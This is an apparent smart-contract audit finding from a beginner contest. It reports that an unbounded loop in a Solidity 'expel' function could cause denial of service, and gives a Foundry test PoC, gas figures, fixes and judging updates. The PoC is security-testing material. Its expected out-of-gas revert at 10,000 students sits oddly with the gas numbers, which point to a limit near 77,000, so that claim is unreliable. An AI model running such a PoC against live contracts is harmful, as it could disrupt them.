Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: low
Valid

Denial of Service in expel Function Due to Unbounded Array Iteration

Summary

DOS vulnerability in the expel function at aroun 77K enrolled students. Core invariant "expel students who break rules" could be broken

Vulnerability Details

The DOS vulnerability exists because:

  1. The function iterates through the entire listOfStudents array

  2. There's no limit on how many students can enroll

  3. The gas cost increases linearly with the number of students

Impact

  • The expel function becomes unusable when the number of students grows too large

  • Principal cannot remove misbehaving students once the array grows too large

  • Core functionality of the contract becomes unusable

PoC

function test_dos_expel_function() public {
// Deploy new instance
DeployLevelOne newDeploy = new DeployLevelOne();
address newProxyAddress = newDeploy.deployLevelOne();
LevelOne newLevelOneProxy = LevelOne(newProxyAddress);
MockUSDC newUsdc = newDeploy.getUSDC();
address newPrincipal = newDeploy.principal();
uint256 newSchoolFees = newDeploy.getSchoolFees();
// Enroll 10000 students (this is already a problematic number)
uint256 numStudents = 10000;
address[] memory students = new address[](numStudents);
for(uint256 j = 0; j < numStudents; j++) {
students[j] = makeAddr(string(abi.encodePacked("student_", j)));
newUsdc.mint(students[j], newSchoolFees);
vm.startPrank(students[j]);
newUsdc.approve(newProxyAddress, newSchoolFees);
newLevelOneProxy.enroll();
vm.stopPrank();
}
// Start session
vm.startPrank(newPrincipal);
newLevelOneProxy.addTeacher(alice);
newLevelOneProxy.startSession(70);
// This will fail due to out of gas
vm.expectRevert();
newLevelOneProxy.expel(students[numStudents - 1]);
vm.stopPrank();
}

results in

Gas used with 100 students: 43,434 gas
Gas used with 500 students: 198,234 gas
Gas used with 1000 students: 391,734 gas
Gas used with 2000 students: 778,734 gas
Gas used with 3000 students: 1,165,734 gas

Analysis:

  1. The gas cost increases linearly with the number of students

  2. Given Ethereum's block gas limit of 30M gas, the function would become unusable at around: 77,000 students

Tools Used

manual revie

Recommendations

Add a maximum limit to the number of students that can enroll

uint256 public constant MAX_STUDENTS = 1000; // Or an appropriate limit
function enroll() external notYetInSession {
require(listOfStudents.length < MAX_STUDENTS, "Max students reached");
// ... rest of the function
}

Or implement a pagination system for student management and process them in batches

Or use a more gas-efficient data structure like a mapping with a counter

Updates

Lead Judging Commences

yeahchibyke Lead Judge 2 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

mishoko Submitter
2 months ago
mishoko Submitter
2 months ago
yeahchibyke Lead Judge
2 months ago
yeahchibyke Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

possible DoS when expelling students

Unbounded loops in student lists could result in high gas usage when trying to expel a students when students are plenty. This could result in a possible DoS

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.